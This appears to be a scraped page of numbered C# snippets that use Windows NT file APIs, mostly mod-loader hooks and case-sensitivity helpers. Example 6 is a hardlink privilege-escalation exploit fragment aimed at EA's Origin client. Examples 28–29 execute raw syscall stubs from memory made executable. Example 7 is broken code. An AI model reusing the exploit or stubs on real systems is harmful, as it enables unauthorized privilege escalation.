Ejemplo n.º 1
0
        private NtStatus NtCreateFileImpl(out IntPtr handle, FileAccess access, ref OBJECT_ATTRIBUTES objectAttributes,
                                          ref IO_STATUS_BLOCK ioStatus, ref long allocSize, uint fileAttributes, FileShare share, uint createDisposition, uint createOptions, IntPtr eaBuffer, uint eaLength)
        {
            lock ( _createLock )
            {
                string oldFileName = objectAttributes.ObjectName.ToString();
                if (!TryGetFullPath(oldFileName, out var newFilePath))
                {
                    return(_hooks.NtCreateFileHook.OriginalFunction(out handle, access, ref objectAttributes, ref ioStatus, ref allocSize,
                                                                    fileAttributes, share, createDisposition, createOptions, eaBuffer, eaLength));
                }

                NtStatus ret;
                foreach (var filter in _filters)
                {
                    if (filter.Accept(newFilePath))
                    {
                        ret = filter.NtCreateFileImpl(newFilePath, out handle, access, ref objectAttributes, ref ioStatus, ref allocSize,
                                                      fileAttributes, share, createDisposition, createOptions, eaBuffer, eaLength);

                        _handleToInfoMap[handle] = new FileInfo(newFilePath, 0);
                        return(ret);
                    }
                }

                ret = _hooks.NtCreateFileHook.OriginalFunction(out handle, access, ref objectAttributes, ref ioStatus, ref allocSize,
                                                               fileAttributes, share, createDisposition, createOptions, eaBuffer, eaLength);
                _handleToInfoMap[handle] = new FileInfo(newFilePath, 0);
                return(ret);
            }
        }
Ejemplo n.º 2
0
        private unsafe NtStatus NtReadFileImpl(IntPtr handle, IntPtr hEvent, IntPtr *apcRoutine, IntPtr *apcContext,
                                               ref IO_STATUS_BLOCK ioStatus, byte *buffer, uint length, LARGE_INTEGER *byteOffset, IntPtr key)
        {
#if DEBUG
            try
            {
#endif
            foreach (var filter in _filters)
            {
                if (filter.Accept(handle))
                {
                    return(filter.NtReadFileImpl(handle, hEvent, apcRoutine, apcContext, ref ioStatus, buffer, length, byteOffset, key));
                }
            }
#if DEBUG
        }

        catch (Exception e)
        {
            _logger.WriteLine($"[{nameof(modloader)}:{nameof(FileAccessServer)}] {nameof(NtReadFileImpl)} Exception Thrown: Hnd: {handle} {e.Message}\nStack Trace: {e.StackTrace}");
        }
#endif

            return(_hooks.NtReadFileHook.OriginalFunction(handle, hEvent, apcRoutine, apcContext, ref ioStatus, buffer, length, byteOffset, key));
        }
Ejemplo n.º 3
0
        private NtStatus NtSetInformationFileImpl(IntPtr handle, out IO_STATUS_BLOCK ioStatusBlock, void *fileInformation,
                                                  uint length, FileInformationClass fileInformationClass)
        {
#if DEBUG
            try
            {
#endif
            if (fileInformationClass == FileInformationClass.FilePositionInformation && _handleToInfoMap.ContainsKey(handle))
            {
                _handleToInfoMap[handle].FilePointer = *(long *)fileInformation;
            }

            foreach (var filter in _filters)
            {
                if (filter.Accept(handle))
                {
                    return(filter.NtSetInformationFileImpl(handle, out ioStatusBlock, fileInformation, length, fileInformationClass));
                }
            }
#if DEBUG
        }

        catch (Exception e)
        {
            _logger.WriteLine($"[{nameof(modloader)}:{nameof(FileAccessServer)}] {nameof(NtSetInformationFileImpl)} Exception Thrown: {e.Message}\nStack Trace: {e.StackTrace}");
        }
#endif

            return(_hooks.NtSetInformationFileHook.OriginalFunction(handle, out ioStatusBlock, fileInformation, length, fileInformationClass));
        }
Ejemplo n.º 4
0
        private NtStatus NtQueryInformationFileImpl(IntPtr hfile, out IO_STATUS_BLOCK ioStatusBlock, void *fileInformation,
                                                    uint length, FileInformationClass fileInformationClass)
        {
#if DEBUG
            try
            {
#endif
            foreach (var filter in _filters)
            {
                if (filter.Accept(hfile))
                {
                    return(filter.NtQueryInformationFileImpl(hfile, out ioStatusBlock, fileInformation, length, fileInformationClass));
                }
            }
#if DEBUG
        }

        catch (Exception e)
        {
            _logger.WriteLine($"[{nameof(modloader)}:{nameof(FileAccessServer)}] {nameof(CloseHandleImpl)} Exception Thrown: {e.Message}\nStack Trace: {e.StackTrace}");
        }
#endif

            return(_hooks.NtQueryInformationFileHook.OriginalFunction(hfile, out ioStatusBlock, fileInformation, length, fileInformationClass));
        }
Ejemplo n.º 5
0
        public void DetachFromIOCP(NativeHandle handle)
        {
            if (!this.tryDetachFromIOCP)
            {
                return;
            }

            // https://msdn.microsoft.com/en-us/library/windows/hardware/ff728840(v=vs.85).aspx
            const int FileReplaceCompletionInformation = 61;
            // https://msdn.microsoft.com/en-us/library/cc704588.aspx
            const uint STATUS_INVALID_INFO_CLASS = 0xC0000003;

#pragma warning disable IDE0059 // 不需要赋值
            var statusBlock = new IO_STATUS_BLOCK();
#pragma warning restore IDE0059 // 不需要赋值
            IntPtr socket = IntPtr.Zero;
            _ = NativeMethods.uv_fileno(handle.Handle, ref socket);

            uint len = (uint)Marshal.SizeOf <FILE_COMPLETION_INFORMATION>();
            if (NtSetInformationFile(socket,
#pragma warning disable IDE0059 // 不需要赋值
                                     out statusBlock, this.fileCompletionInfoPtr, len,
#pragma warning restore IDE0059 // 不需要赋值
                                     FileReplaceCompletionInformation) == STATUS_INVALID_INFO_CLASS)
            {
                // Replacing IOCP information is only supported on Windows 8.1 or newer
                this.tryDetachFromIOCP = false;
            }
        }
Ejemplo n.º 6
0
        static void DoHardlinkThread(object target)
        {
            try
            {
                FILE_LINK_INFORMATION f = new FILE_LINK_INFORMATION();
                f.FileName        = @"\??\" + @"C:\ProgramData\Origin\local.xml";
                f.ReplaceIfExists = true;
                f.FileNameLength  = (uint)(f.FileName.Length * 2);

                int size = Marshal.SizeOf(f);

                IntPtr p = Marshal.AllocHGlobal(size);
                Marshal.StructureToPtr(f, p, false);

                using (FileStream fs = new FileStream(target.ToString(), FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
                {
                    IntPtr          h      = fs.SafeFileHandle.DangerousGetHandle();
                    IO_STATUS_BLOCK status = new IO_STATUS_BLOCK();

                    while (NtSetInformationFile(h, status, p, (uint)size, FILE_INFORMATION_CLASS.FileLinkInformation) != 0)
                    {
                        status.NtStatus = 0;
                        status.Dummy    = IntPtr.Zero;
                    }

                    Console.WriteLine("[+] EA's ORIGIN Client DACL Permission Overwrite LPE By @404death\n[+] Create Hardlink and Set Permission On Target File");
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("HardLink Thread: {0}", ex);
            }
        }
Ejemplo n.º 7
0
        public static string getFileByProcessHandle(SYSTEM_HANDLE_INFORMATION handleInfo, IntPtr hProcess)
        {
            try
            {
                IntPtr thisProcess = Process.GetCurrentProcess().Handle;
                IntPtr handle;

                //duplicate the handle
                DuplicateHandle(hProcess, new IntPtr(handleInfo.HandleValue), thisProcess, out handle, 0, false, DuplicateOptions.DUPLICATE_SAME_ACCESS);

                //setup bufffer to store unicode string
                int bufferSize = 0x200; //512 bytes

                //Allocate unmanaged memory to store name
                IntPtr          pFileNameBuffer = Marshal.AllocHGlobal(bufferSize);
                IO_STATUS_BLOCK ioStat          = new IO_STATUS_BLOCK();

                NtQueryInformationFile(handle, ref ioStat, pFileNameBuffer, bufferSize, FILE_INFORMATION_CLASS.FileNameInformation);

                //close the handle
                CloseHandle(handle); //always do this when duplicating handles

                // offset = 4
                int  offset       = 4;
                long pBaseAddress = pFileNameBuffer.ToInt64();
            }
        }
Ejemplo n.º 8
0
        private NtStatus NtCreateFileImpl(out IntPtr handle, FileAccess access, ref OBJECT_ATTRIBUTES objectAttributes,
                                          ref IO_STATUS_BLOCK ioStatus, ref long allocSize, uint fileAttributes, FileShare share, uint createDisposition, uint createOptions, IntPtr eaBuffer, uint eaLength)
        {
            lock ( _createLock )
            {
                string oldFileName = objectAttributes.ObjectName.ToString();
                if (!TryGetFullPath(oldFileName, out var newFilePath))
                {
                    return(_hooks.NtCreateFileHook.OriginalFunction(out handle, access, ref objectAttributes, ref ioStatus, ref allocSize,
                                                                    fileAttributes, share, createDisposition, createOptions, eaBuffer, eaLength));
                }

                // Blacklist DLLs to prevent JIT from locking when new assemblies used by this method are loaded.
                // Might want to disable some other extensions in the future; but this is just a temporary bugfix.
                if (string.Equals(Path.GetExtension(newFilePath), ".dll", StringComparison.OrdinalIgnoreCase))
                {
                    return(NtCreateFileDefault(out handle, access, ref objectAttributes, ref ioStatus, ref allocSize, fileAttributes, share, createDisposition, createOptions, eaBuffer, eaLength, newFilePath));
                }

                NtStatus ret;
                foreach (var filter in _filters)
                {
                    if (filter.Accept(newFilePath))
                    {
                        ret = filter.NtCreateFileImpl(newFilePath, out handle, access, ref objectAttributes, ref ioStatus, ref allocSize,
                                                      fileAttributes, share, createDisposition, createOptions, eaBuffer, eaLength);

                        _handleToInfoMap[handle] = new FileInfo(newFilePath, 0);
                        return(ret);
                    }
                }

                return(NtCreateFileDefault(out handle, access, ref objectAttributes, ref ioStatus, ref allocSize, fileAttributes, share, createDisposition, createOptions, eaBuffer, eaLength, newFilePath));
            }
        }
Ejemplo n.º 9
0
    public static bool IsDirectoryCaseSensitive(string directory, bool throwOnError = true)
    {
        IntPtr hFile = CreateFile(directory, 0, 0,
                                  IntPtr.Zero, FileMode.Open,
                                  FILE_FLAG_BACKUP_SEMANTICS, IntPtr.Zero);

        if (hFile == INVALID_HANDLE)
        {
            throw new Win32Exception();
        }
        try {
            IO_STATUS_BLOCK iosb = new IO_STATUS_BLOCK();
            FILE_CASE_SENSITIVE_INFORMATION caseSensitive = new FILE_CASE_SENSITIVE_INFORMATION();
            uint status = NtQueryInformationFile(hFile, ref iosb, ref caseSensitive,
                                                 Marshal.SizeOf <FILE_CASE_SENSITIVE_INFORMATION>(),
                                                 FILE_INFORMATION_CLASS.FileCaseSensitiveInformation);
            if (status == STATUS_NOT_SUPPORTED)
            {
                // Not supported, must be older version of windows.
                // Directory case sensitivity is impossible.
                // Not tested, but this is most likely what
                // should be returned in this situation.
                return(false);
            }
            else if (status != STATUS_SUCCESS)
            {
                throw new Exception($"Unknown NTSTATUS: {status:X8}!");
            }
            return(caseSensitive.Flags.HasFlag(CASE_SENSITIVITY_FLAGS.CaseSensitiveDirectory));
        }
        finally {
            CloseHandle(hFile);
        }
    }
Ejemplo n.º 10
0
        private void SetBytesRead(IntPtr handle, int offset, int length, ref IO_STATUS_BLOCK ioStatus)
        {
            offset += length;
            NtSetInformationFileImpl(handle, out _, &offset, sizeof(long), FileInformationClass.FilePositionInformation);

            // Set number of read bytes.
            ioStatus.Status      = 0;
            ioStatus.Information = new IntPtr(length);
        }
Ejemplo n.º 11
0
        public List <FsItem> Scan(string dir, ref long processed)
        {
            var hFolder = NativeMethods.CreateFile(dir,
                                                   FileAccessRights.FILE_LIST_DIRECTORY,
                                                   FileShare.ReadWrite | FileShare.Delete,
                                                   IntPtr.Zero,
                                                   FileMode.Open,
                                                   CreateFileOptions.FILE_FLAG_BACKUP_SEMANTICS,
                                                   IntPtr.Zero);

            if (hFolder.IsInvalid)
            {
                return(null);
            }

            var res = new List <FsItem>();

            bool moreFiles   = true;
            var  statusBlock = new IO_STATUS_BLOCK();

            while (moreFiles)
            {
                var ntstatus = NativeMethods.NtQueryDirectoryFile(
                    hFolder,
                    IntPtr.Zero,
                    IntPtr.Zero,
                    IntPtr.Zero,
                    statusBlock,
                    buffer,
                    1024 * 1024,
                    FileDirectoryInformation,
                    false,
                    IntPtr.Zero,
                    false);

                switch (ntstatus)
                {
                case StatusNoMoreFiles:
                    moreFiles = false;
                    break;

                case StatusSuccess:
                    CheckData(buffer, res, ref processed);
                    break;

                default:
                    moreFiles = false;
                    Debug.WriteLine(new Win32Exception().Message);
                    break;
                }
            }
            hFolder.Close();

            return(res);
        }
Ejemplo n.º 12
0
    public static bool IsDirectoryCaseSensitivitySupported()
    {
        if (isSupported.HasValue)
        {
            return(isSupported.Value);
        }

        // Make sure the directory exists
        if (!Directory.Exists(TempDirectory))
        {
            Directory.CreateDirectory(TempDirectory);
        }

        IntPtr hFile = CreateFile(TempDirectory, 0, FileShare.ReadWrite,
                                  IntPtr.Zero, FileMode.Open,
                                  FILE_FLAG_BACKUP_SEMANTICS, IntPtr.Zero);

        if (hFile == INVALID_HANDLE)
        {
            throw new Exception("Failed to open file while checking case sensitivity support!");
        }
        try {
            IO_STATUS_BLOCK iosb = new IO_STATUS_BLOCK();
            FILE_CASE_SENSITIVE_INFORMATION caseSensitive = new FILE_CASE_SENSITIVE_INFORMATION();
            // Strangely enough, this doesn't fail on files
            NTSTATUS result = NtQueryInformationFile(hFile, ref iosb, ref caseSensitive,
                                                     Marshal.SizeOf <FILE_CASE_SENSITIVE_INFORMATION>(),
                                                     FILE_INFORMATION_CLASS.FileCaseSensitiveInformation);
            switch (result)
            {
            case NTSTATUS.SUCCESS:
                return((isSupported = true).Value);

            case NTSTATUS.NOT_IMPLEMENTED:
            case NTSTATUS.INVALID_INFO_CLASS:
            case NTSTATUS.INVALID_PARAMETER:
            case NTSTATUS.NOT_SUPPORTED:
                // Not supported, must be older version of windows.
                // Directory case sensitivity is impossible.
                return((isSupported = false).Value);

            default:
                throw new Exception($"Unknown NTSTATUS {result:X8} while checking case sensitivity support!");
            }
        }
        finally {
            CloseHandle(hFile);
            try {
                // CHOOSE: If you delete the folder, future calls to this will not be any faster
                // Directory.Delete(TempDirectory);
            }
            catch { }
        }
    }
Ejemplo n.º 13
0
 public static extern UInt32 NtDeviceIoControlFile(
     IntPtr FileHandle,
     IntPtr Event,
     IntPtr ApcRoutine,
     IntPtr ApcContext,
     ref IO_STATUS_BLOCK IoStatusBlock,
     UInt32 IoControlCode,
     IntPtr InputBuffer,
     UInt32 InputBufferLength,
     IntPtr OutputBuffer,
     UInt32 OutputBufferLength);
Ejemplo n.º 14
0
 private static extern int NtFsControlFile(
     IntPtr FileHandle,
     IntPtr Event,
     IntPtr ApcRoutine,
     IntPtr ApcContext,
     ref IO_STATUS_BLOCK IoStatusBlock,
     int FsControlCode,
     IntPtr InputBuffer,
     int InputBufferLength,
     byte[] OutputBuffer,
     int OutputBufferLength
     );
Ejemplo n.º 15
0
 internal static extern NTSTATUS NtQueryDirectoryFile(
     SafeFileHandle fileHandle,
     IntPtr eventHandle,
     IntPtr apcRoutime,
     IntPtr appContext,
     ref IO_STATUS_BLOCK ioStatusBlock,
     IntPtr FileInformation,
     UInt32 length,
     FILE_INFORMATION_CLASS fileInformationClass,
     [MarshalAs(UnmanagedType.Bool)] bool returnSingleEntry,
     IntPtr fileName,
     [MarshalAs(UnmanagedType.Bool)] bool restartScan);
 public static extern unsafe int NtQueryDirectoryFile(
     IntPtr FileHandle,
     IntPtr Event,
     IntPtr ApcRoutine,
     IntPtr ApcContext,
     out IO_STATUS_BLOCK IoStatusBlock,
     IntPtr FileInformation,
     uint Length,
     FILE_INFORMATION_CLASS FileInformationClass,
     BOOLEAN ReturnSingleEntry,
     UNICODE_STRING *FileName,
     BOOLEAN RestartScan);
Ejemplo n.º 17
0
 public static extern int NtCreateFile(
     ref IntPtr handle,
     FileAccess access,
     ref OBJECT_ATTRIBUTES objectAttributes,
     ref IO_STATUS_BLOCK ioStatus,
     ref long allocSize,
     uint fileAttributes,
     FileShare share,
     uint createDisposition,
     uint createOptions,
     IntPtr eaBuffer,
     uint eaLength);
Ejemplo n.º 18
0
 public static extern UInt32 NtCreateFile(
     ref IntPtr FileHandle,
     UInt32 DesiredAccess,
     ref OBJECT_ATTRIBUTES ObjectAttributes,
     ref IO_STATUS_BLOCK IoStatusBlock,
     IntPtr AllocationSize,
     uint FileAttributes,
     uint ShareAccess,
     uint CreateDisposition,
     uint CreateOptions,
     IntPtr EaBuffer,
     uint EaLength);
Ejemplo n.º 19
0
 public unsafe static extern NTSTATUS NtQueryDirectoryFile(
     SafeFileHandle FileHandle,
     IntPtr Event,
     AsyncProcedureCall ApcRoutine,
     IntPtr ApcContext,
     out IO_STATUS_BLOCK IoStatusBlock,
     void *FileInformation,
     uint Length,
     FileInformationClass FileInformationClass,
     BOOLEAN ReturnSingleEntry,
     UNICODE_STRING *FileName,
     BOOLEAN RestartScan);
Ejemplo n.º 20
0
 private unsafe static extern int NtCreateFile(
     out IntPtr FileHandle,
     DesiredAccess DesiredAccess,
     ref OBJECT_ATTRIBUTES ObjectAttributes,
     out IO_STATUS_BLOCK IoStatusBlock,
     long *AllocationSize,
     System.IO.FileAttributes FileAttributes,
     System.IO.FileShare ShareAccess,
     CreateDisposition CreateDisposition,
     CreateOptions CreateOptions,
     void *EaBuffer,
     uint EaLength);
Ejemplo n.º 21
0
 internal static extern uint NtQueryDirectoryFile(
     SafeFileHandle FileHandle,
     IntPtr Event,
     IntPtr ApcRoutine,
     IntPtr ApcContext,
     [Out] IO_STATUS_BLOCK IoStatusBlock,
     [Out] IntPtr FileInformation,
     UInt32 Length,
     UInt32 FileInformationClass,
     [MarshalAs(UnmanagedType.Bool)] Boolean ReturnSingleEntry,
     IntPtr FileName,
     [MarshalAs(UnmanagedType.Bool)] Boolean RestartScan
     );
Ejemplo n.º 22
0
 internal static extern UInt32 NtCreateFile
 (
     out Microsoft.Win32.SafeHandles.SafeFileHandle fileHandle,
     Int32 desiredAccess,
     ref OBJECT_ATTRIBUTES objectAttributes,
     out IO_STATUS_BLOCK ioStatusBlock,
     ref Int64 allocationSize,
     UInt32 fileAttributes,
     System.IO.FileShare shareAccess,
     UInt32 createDisposition,
     UInt32 createOptions,
     SafeHandle eaBuffer,
     UInt32 eaLength
 );
 internal static extern UInt32 NtCreateFile
     (
         out Microsoft.Win32.SafeHandles.SafeFileHandle fileHandle,
         Int32 desiredAccess,
         ref OBJECT_ATTRIBUTES objectAttributes,
         out IO_STATUS_BLOCK ioStatusBlock,
         ref Int64 allocationSize,
         UInt32 fileAttributes,
         System.IO.FileShare shareAccess,
         UInt32 createDisposition,
         UInt32 createOptions,
         SafeHandle eaBuffer,
         UInt32 eaLength
     );
Ejemplo n.º 24
0
        private NtStatus NtQueryInformationFileImpl(IntPtr hfile, out IO_STATUS_BLOCK ioStatusBlock, void *fileInformation,
                                                    uint length, FileInformationClass fileInformationClass)
        {
            lock ( _getInfoLock )
            {
                foreach (var filter in _filters)
                {
                    if (filter.Accept(hfile))
                    {
                        return(filter.NtQueryInformationFileImpl(hfile, out ioStatusBlock, fileInformation, length, fileInformationClass));
                    }
                }

                return(_hooks.NtQueryInformationFileHook.OriginalFunction(hfile, out ioStatusBlock, fileInformation, length, fileInformationClass));
            }
        }
    // Require's elevated priviledges
    public static void SetDirectoryCaseSensitive(string directory, bool enable)
    {
        // FILE_WRITE_ATTRIBUTES access is the only requirement
        IntPtr hFile = CreateFile(directory, FILE_WRITE_ATTRIBUTES, FileShare.ReadWrite,
                                  IntPtr.Zero, FileMode.Open,
                                  FILE_FLAG_BACKUP_SEMANTICS, IntPtr.Zero);

        if (hFile == INVALID_HANDLE)
        {
            throw new Win32Exception();
        }
        try {
            IO_STATUS_BLOCK iosb = new IO_STATUS_BLOCK();
            FILE_CASE_SENSITIVE_INFORMATION caseSensitive = new FILE_CASE_SENSITIVE_INFORMATION();
            if (enable)
            {
                caseSensitive.Flags |= CASE_SENSITIVITY_FLAGS.CaseSensitiveDirectory;
            }
            NTSTATUS status = NtSetInformationFile(hFile, ref iosb, ref caseSensitive,
                                                   Marshal.SizeOf <FILE_CASE_SENSITIVE_INFORMATION>(),
                                                   FILE_INFORMATION_CLASS.FileCaseSensitiveInformation);
            switch (status)
            {
            case NTSTATUS.SUCCESS:
                return;

            case NTSTATUS.DIRECTORY_NOT_EMPTY:
                throw new IOException($"Directory \"{directory}\" is not empty! " +
                                      $"Cannot set case sensitivity!");

            case NTSTATUS.NOT_IMPLEMENTED:
            case NTSTATUS.NOT_SUPPORTED:
            case NTSTATUS.INVALID_INFO_CLASS:
            case NTSTATUS.INVALID_PARAMETER:
                // Not supported, must be older version of windows.
                // Directory case sensitivity is impossible.
                throw new NotSupportedException("This version of Windows does not support directory case sensitivity!");

            default:
                throw new Exception($"Unknown NTSTATUS: {(uint)status:X8}!");
            }
        }
        finally {
            CloseHandle(hFile);
        }
    }
Ejemplo n.º 26
0
        /// <summary>
        /// Queries for file name associated with handle.
        /// </summary>
        /// <param name="handleInfo">The handle info.</param>
        /// <param name="hProcess">Open handle to the process which owns that handle.</param>
        /// <returns></returns>
        private static string GetFileName(SYSTEM_HANDLE_INFORMATION handleInfo, IntPtr hProcess)
        {
            try
            {
                IntPtr thisProcess = Process.GetCurrentProcess().Handle;
                IntPtr handle;

                // Need to duplicate handle in this process to be able to access name
                DuplicateHandle(hProcess, new IntPtr(handleInfo.HandleValue), thisProcess,
                                out handle, 0, false, DuplicateOptions.DUPLICATE_SAME_ACCESS);

                // Setup buffer to store unicode string
                int bufferSize = 0x200; //512 bytes

                // Allocate unmanaged memory to store name
                IntPtr          pFileNameBuffer = Marshal.AllocHGlobal(bufferSize);
                IO_STATUS_BLOCK ioStat          = new IO_STATUS_BLOCK();

                NtQueryInformationFile(handle, ref ioStat, pFileNameBuffer, bufferSize, FILE_INFORMATION_CLASS.FileNameInformation);

                // Close this handle
                CloseHandle(handle);    //super important... almost missed this

                // offset=4 seems to work...
                int  offset       = 4;
                long pBaseAddress = pFileNameBuffer.ToInt64();

                // Do the conversion to managed type
                string fileName = Marshal.PtrToStringUni(new IntPtr(pBaseAddress + offset));

                // Release
                Marshal.FreeHGlobal(pFileNameBuffer);

                return(fileName);
            }
            catch (Exception e) // logged
            {
                Log.Error($"Unable to retrieve filename from process.", e);
                // is it really a good thing to return an empty string here
                // when the operation we just did failed? Why not letting
                // the user process handle the exception? Just saying...
                return(string.Empty);
            }
        }
Ejemplo n.º 27
0
        /// <summary>
        /// Invoke the <see cref="NativeMethods.NtQueryDirectoryFile"/> function with parameters
        /// adequate for retrieving the next set of <see cref="FILE_ID_FULL_DIR_INFORMATION"/>
        /// entries
        /// </summary>
        private static unsafe NTSTATUS InvokeNtQueryDirectoryFile(SafeFileHandle fileHandle, byte *bufferAddress, int bufferSize)
        {
            IO_STATUS_BLOCK statusBlock = new IO_STATUS_BLOCK();

            NTSTATUS status = NativeMethods.NtQueryDirectoryFile(
                fileHandle,                                            // FileHandle
                IntPtr.Zero,                                           // Event
                IntPtr.Zero,                                           // ApcRoutine
                IntPtr.Zero,                                           // ApcContext
                ref statusBlock,                                       // IoStatusBlock
                new IntPtr(bufferAddress),                             // FileInformation
                (uint)bufferSize,                                      // Length
                FILE_INFORMATION_CLASS.FileIdFullDirectoryInformation, // FileInformationClass
                false,                                                 // ReturnSingleEntry
                IntPtr.Zero,                                           // FileName
                false);                                                // RestartScan

            return(status);
        }
Ejemplo n.º 28
0
        public static NTSTATUS NTCreateFile(
            out Microsoft.Win32.SafeHandles.SafeFileHandle FileHandle,
            FileAccess DesiredAcces,
            ref OBJECT_ATTRIBUTES ObjectAttributes,
            ref IO_STATUS_BLOCK IoStatusBlock,
            ref long AllocationSize,
            FileAttributes FileAttributes,
            FileShare ShareAccess,
            CreationDisposition CreateDisposition,
            CreateOption CreateOptions,
            IntPtr EaBuffer,
            uint EaLength)
        {
            byte[] syscall = bNtCreateFile;

            unsafe
            {
                fixed(byte *ptr = syscall)
                {
                    IntPtr memoryAddress = (IntPtr)ptr;

                    if (!VirtualProtect(memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint lpflOldProtect))
                    {
                        throw new Win32Exception();
                    }

                    Delegates.NtCreateFile assembledFunction = (Delegates.NtCreateFile)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateFile));

                    return((NTSTATUS)assembledFunction(out FileHandle,
                                                       DesiredAcces,
                                                       ref ObjectAttributes,
                                                       ref IoStatusBlock,
                                                       ref AllocationSize,
                                                       FileAttributes,
                                                       ShareAccess,
                                                       CreateDisposition,
                                                       CreateOptions,
                                                       EaBuffer,
                                                       EaLength));
                }
            }
        }
Ejemplo n.º 29
0
        public static NTSTATUS NtCreateFile10(out Microsoft.Win32.SafeHandles.SafeFileHandle fileHandle,
                                              Int32 desiredAccess,
                                              ref OBJECT_ATTRIBUTES objectAttributes,
                                              out IO_STATUS_BLOCK ioStatusBlock,
                                              ref Int64 allocationSize,
                                              UInt32 fileAttributes,
                                              System.IO.FileShare shareAccess,
                                              UInt32 createDisposition,
                                              UInt32 createOptions,
                                              IntPtr eaBuffer,
                                              UInt32 eaLength)
        {
            byte[] syscall = bNtCreateFile10;

            unsafe
            {
                fixed(byte *ptr = syscall)
                {
                    IntPtr memoryAddress = (IntPtr)ptr;

                    if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
                                          (UIntPtr)syscall.Length, 0x40, out uint oldprotect))
                    {
                        throw new Win32Exception();
                    }

                    Delegates.NtCreateFile myAssemblyFunction = (Delegates.NtCreateFile)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateFile));

                    return((NTSTATUS)myAssemblyFunction(out fileHandle,
                                                        desiredAccess,
                                                        ref objectAttributes,
                                                        out ioStatusBlock,
                                                        ref allocationSize,
                                                        fileAttributes,
                                                        shareAccess,
                                                        createDisposition,
                                                        createOptions,
                                                        eaBuffer,
                                                        eaLength));
                }
            }
        }
Ejemplo n.º 30
0
        public override unsafe NtStatus NtSetInformationFileImpl(IntPtr hfile, out IO_STATUS_BLOCK ioStatusBlock,
                                                                 void *fileInformation, uint length, FileInformationClass fileInformationClass)
        {
            if (fileInformationClass == FileInformationClass.FilePositionInformation)
            {
                var pack = mPacksByHandle[hfile];
                pack.FilePointer = *( long * )fileInformation;
                mLogger.Debug($"{pack.Instance.FileName} Hnd: {hfile} SetFilePointer -> 0x{pack.FilePointer:X8}");
            }
            else
            {
                mLogger.Warning($"SetInformationFileImpl(hfile = {hfile}, out ioStatusBlock, fileInformation = *0x{( long )fileInformation:X8}, " +
                                $"length = {length}, fileInformationClass = {fileInformationClass}");
            }

            mHooks.NtSetInformationFileHook.OriginalFunction(hfile, out ioStatusBlock, fileInformation, length, fileInformationClass);

            // Spoof return value as we extend beyond the end of the file
            return(NtStatus.Success);
        }
    public static bool IsDirectoryCaseSensitive(string directory, bool throwOnError = true)
    {
        // Read access is NOT required
        IntPtr hFile = CreateFile(directory, 0, FileShare.ReadWrite,
                                  IntPtr.Zero, FileMode.Open,
                                  FILE_FLAG_BACKUP_SEMANTICS, IntPtr.Zero);

        if (hFile == INVALID_HANDLE)
        {
            throw new Win32Exception();
        }
        try {
            IO_STATUS_BLOCK iosb = new IO_STATUS_BLOCK();
            FILE_CASE_SENSITIVE_INFORMATION caseSensitive = new FILE_CASE_SENSITIVE_INFORMATION();
            NTSTATUS status = NtQueryInformationFile(hFile, ref iosb, ref caseSensitive,
                                                     Marshal.SizeOf <FILE_CASE_SENSITIVE_INFORMATION>(),
                                                     FILE_INFORMATION_CLASS.FileCaseSensitiveInformation);
            switch (status)
            {
            case NTSTATUS.SUCCESS:
                return(caseSensitive.Flags.HasFlag(CASE_SENSITIVITY_FLAGS.CaseSensitiveDirectory));

            case NTSTATUS.NOT_IMPLEMENTED:
            case NTSTATUS.NOT_SUPPORTED:
            case NTSTATUS.INVALID_INFO_CLASS:
            case NTSTATUS.INVALID_PARAMETER:
                // Not supported, must be older version of windows.
                // Directory case sensitivity is impossible.
                return(false);

            case NTSTATUS.ACCESS_DENIED:
                throw new UnauthorizedAccessException();

            default:
                throw new Exception($"Unknown NTSTATUS: {status:X8}!");
            }
        }
        finally {
            CloseHandle(hFile);
        }
    }
Ejemplo n.º 32
0
 private static extern NTSTATUS NtQueryInformationFile(IntPtr FileHandle,
     ref IO_STATUS_BLOCK IoStatusBlock, IntPtr FileInformation, int FileInformationLength, 
     FILE_INFORMATION_CLASS FileInformationClass);
Ejemplo n.º 33
0
        /// <summary>
        /// Queries for file name associated with handle.
        /// </summary>
        /// <param name="handleInfo">The handle info.</param>
        /// <param name="hProcess">Open handle to the process which owns that handle.</param>
        /// <returns></returns>
        private static string GetFileName(SYSTEM_HANDLE_INFORMATION handleInfo, IntPtr hProcess)
        {
            try
            {
                IntPtr thisProcess = Process.GetCurrentProcess().Handle;
                IntPtr handle;

                // Need to duplicate handle in this process to be able to access name
                DuplicateHandle(hProcess, new IntPtr(handleInfo.HandleValue), thisProcess, 
                    out handle, 0, false, DuplicateOptions.DUPLICATE_SAME_ACCESS);

                // Setup buffer to store unicode string
                int bufferSize = 0x200; //512 bytes

                // Allocate unmanaged memory to store name
                IntPtr pFileNameBuffer = Marshal.AllocHGlobal(bufferSize);
                IO_STATUS_BLOCK ioStat = new IO_STATUS_BLOCK();

                NtQueryInformationFile(handle, ref ioStat, pFileNameBuffer, bufferSize, FILE_INFORMATION_CLASS.FileNameInformation);

                // Close this handle
                CloseHandle(handle);    //super important... almost missed this

                // offset=4 seems to work...
                int offset = 4;
                long pBaseAddress = pFileNameBuffer.ToInt64();

                // Do the conversion to managed type
                string fileName = Marshal.PtrToStringUni(new IntPtr(pBaseAddress + offset));

                // Release
                Marshal.FreeHGlobal(pFileNameBuffer);

                return fileName;
            }
            catch (Exception)
            {
                return string.Empty;
            }
        }
 internal static extern uint NtCreateFile(out SafeFileHandle fileHandle, int desiredAccess, ref OBJECT_ATTRIBUTES objectAttributes, out IO_STATUS_BLOCK ioStatusBlock, ref long allocationSize, uint fileAttributes, FileShare shareAccess, uint createDisposition, uint createOptions, SafeHandle eaBuffer, uint eaLength);
Ejemplo n.º 35
0
 public static extern IntPtr NtQueryInformationFile(IntPtr fileHandle, ref IO_STATUS_BLOCK IoStatusBlock, IntPtr pInfoBlock, uint length, FILE_INFORMATION_CLASS fileInformation);
Ejemplo n.º 36
0
 public static extern NtStatus ZwOpenFile(
     out IntPtr FileHandle, uint DesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes,
     ref IO_STATUS_BLOCK IoStatusBlock, ulong ShareAccess, ulong OpenOptions);
Ejemplo n.º 37
0
 public static FILE_STREAM_INFORMATION[] NtQueryInformationFile(SafeFileHandle FileHandle)
 {
